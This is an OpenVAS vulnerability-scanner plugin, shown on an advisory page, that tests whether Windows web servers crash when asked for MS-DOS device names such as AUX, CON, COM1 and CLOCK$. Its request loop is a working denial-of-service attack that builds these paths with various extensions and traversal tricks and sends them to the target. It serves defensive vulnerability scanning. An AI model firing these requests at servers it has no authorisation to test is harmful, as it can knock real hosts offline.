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HTTP Windows 98 MS/DOS device names DOS

2005-11-0300:00:00
This script is Copyright (C) 2001 Michel Arboi
plugins.openvas.org
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0.059 Low

EPSS

Percentile

92.6%

It was possible to freeze or reboot Windows by
reading a MS/DOS device through HTTP, using
a file name like CON\CON, AUX.htm or AUX.

A cracker may use this flaw to make your
system crash continuously, preventing
you from working properly.

# OpenVAS Vulnerability Test
# $Id: http_w98_devname_dos.nasl 8144 2017-12-15 13:19:55Z cfischer $
# Description: HTTP Windows 98 MS/DOS device names DOS
#
# Authors:
# Michel Arboi <[email protected]>
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <[email protected]>
# Added links to the Bugtraq message archive, Microsoft Knowledgebase,
# and known vulnerable servers list
#
# Copyright:
# Copyright (C) 2001 Michel Arboi
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "It was possible to freeze or reboot Windows by
reading a MS/DOS device through HTTP, using
a file name like CON\CON, AUX.htm or AUX.

A cracker may use this flaw to make your
system crash continuously, preventing
you from working properly.";

tag_solution = "upgrade your system or use a
HTTP server that filters those names out.";

# Vulnerable servers:
# vWebServer v1.2.0 (and others?)
# AnalogX SimpleServer:WWW 1.08		CVE-2001-0386
# Small HTTP server 2.03		CVE-2001-0493
# acWEB HTTP server?
# Xitami Web Server                     BID:2622, CVE-2001-0391
# Jana Web Server                       BID:2704, CVE-2001-0558
# Cyberstop Web Server                  BID:3929, CVE-2002-0200
# General Windows MS-DOS Device         BID:1043, CVE-2000-0168
# Apache < 2.0.44			CVE-2003-0016
# Domino 5.0.7 and earlier		CVE-2001-0602, BID: 2575
# Darwin Streaming Server v4.1.3e	CVE-2003-0421
# Darwin Streaming Server v4.1.3f 	CVE-2003-0502

if(description)
{
 script_id(10930);
 script_version("$Revision: 8144 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-15 14:19:55 +0100 (Fri, 15 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(1043, 2575, 2608, 2622, 2649, 2704, 3929, 6659, 6662);
 script_xref(name:"IAVA", value:"2003-t-0003");
 script_cve_id("CVE-2001-0386", "CVE-2001-0493", "CVE-2001-0391", "CVE-2001-0558", "CVE-2002-0200", "CVE-2000-0168", "CVE-2003-0016", "CVE-2001-0602");

 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_name("HTTP Windows 98 MS/DOS device names DOS");
 

 
 script_category(ACT_KILL_HOST);
  script_tag(name:"qod_type", value:"remote_vul");
 
 
 script_copyright("This script is Copyright (C) 2001 Michel Arboi");
 family = "Denial of Service";
 script_family(family);
 script_dependencies("find_service.nasl");
 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");

start_denial();

dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";

i = 0;
ext[i++] = ".htm";	# Should we add .html ?
ext[i++] = ".";
ext[i++] = ". . .. ... .. .";
ext[i++] = ".asp";
ext[i++] = ".foo";
ext[i++] = ".bat";
# Special meanings
ext[i++] = "-";		# /../ prefix
ext[i++] = "+";		# /aux/aux pattern

port = get_http_port(default:80);

if(! get_port_state(port)) exit(0);
if (http_is_dead(port: port)) exit (0);

 n = 0;
 for (i = 0; dev[i]; i = i + 1)
 {
  d = dev[i];
  for (j = 0; ext[j]; j = j + 1)
  {
   e = ext[j];
   if (e == "+")
    name = string("/", d, "/", d);
   else if (e == "-")
    # Kills Darwin Streaming Server v4.1.3f and earlier (Win32 only)
    name = string("/../", d);
   else
    name = string("/", d, e);
   #display(n++, ": ", name, "\n");
   req = http_get(item:name, port:port);
   soc = http_open_socket(port);
   if(soc)
   {
    send(socket:soc, data:req);
    r = http_recv(socket:soc);
    http_close_socket(soc);
   }
  }
 }
 
alive = end_denial();					     
if(!alive)
{
 security_message(port);
 set_kb_item( name:"Host/dead", value:TRUE );
 exit(0);
}

if (http_is_dead(port: port))
{
  m = "It was possible to kill your web server by
reading a MS/DOS device, using a file name like 
CON\CON, AUX.htm or AUX.

A cracker may use this flaw to make your server crash 
continuously, preventing you from working properly.

Solution: upgrade your system or use a 
HTTP server that filters those names out.";
  security_message(port: port, data: m);
}

References

0.059 Low

EPSS

Percentile

92.6%